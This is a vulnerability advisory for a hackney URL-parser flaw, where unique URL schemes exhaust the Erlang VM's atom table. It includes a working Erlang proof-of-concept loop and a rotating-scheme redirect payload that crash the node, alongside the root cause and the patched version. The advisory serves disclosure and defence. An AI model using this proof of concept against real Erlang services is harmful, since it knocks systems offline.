CVE-2026-47067: hackney Atom-Table Exhaustion via URL Scheme Parsing
hackney's URL parser converts every URL scheme it sees into a permanent BEAM atom, so an attacker who can supply URLs with unique scheme prefixes can exhaust the VM's 1,048,576-atom limit and crash th
The problem
In src/hackney_url.erl, parse_url/1 extracts the scheme from a URL, validates it against the RFC 3986 alphabet (alpha-led, up to 19 bytes), lowercases it, then calls binary_to_atom(SchemeLower, utf8). That atom is stored on the returned #hackney_url{} record.
BEAM atoms are never garbage-collected. The allowed scheme alphabet is enormous (roughly 52 * 65^18 values), far exceeding the default atom-table limit of 1,048,576. Even when hackney immediately returns {error, {unsupported_scheme, _}}, the atom has already been interned permanently.
An attacker who controls redirect Location headers, webhook target URLs, or any other URL input can mint one new atom per unique scheme and drive the count to the limit, crashing the node with system_limit.
Proof of concept
% Erlang/Elixir PoC: call parse_url/1 with unique schemes in a loop.
% Each call mints one permanent atom; at ~1,048,576 calls the VM crashes.
% Erlang
lists:foreach(
fun(N) ->
Scheme = list_to_binary(io_lib:format("zz~6..0b", [N])),
Url = <<Scheme/binary, "://attacker.example/x">>,
hackney_url:parse_url(Url)
end,
lists:seq(0, 1_100_000)
).
% Alternatively, serve redirect responses whose Location headers rotate schemes:
% HTTP/1.1 302 Found
% Location: zz000001://attacker.example/
%
% Each followed redirect re-parses the Location URL and mints a new atom.The root cause is CWE-770: binary_to_atom/2 allocates a new atom unconditionally. The validation in is_valid_scheme/1 constrains the character set but not the number of distinct values, so the reachable scheme space is orders of magnitude larger than the atom-table limit.
The patch (commit 31f6f0e) stops converting unrecognized schemes to atoms at all. Known schemes (http, https, etc.) are matched against a compile-time allowlist; anything else is rejected before any atom is created. This makes the atom count for scheme parsing bounded and constant regardless of attacker input.
The fix
Upgrade to hackney 4.0.1 or later. The patch commit is 31f6f0e27e096ad88743dfded4f030a3ee74972e. No workaround exists for older versions; the atom is created before the unsupported-scheme error is returned, so filtering at the application layer cannot prevent atom accumulation.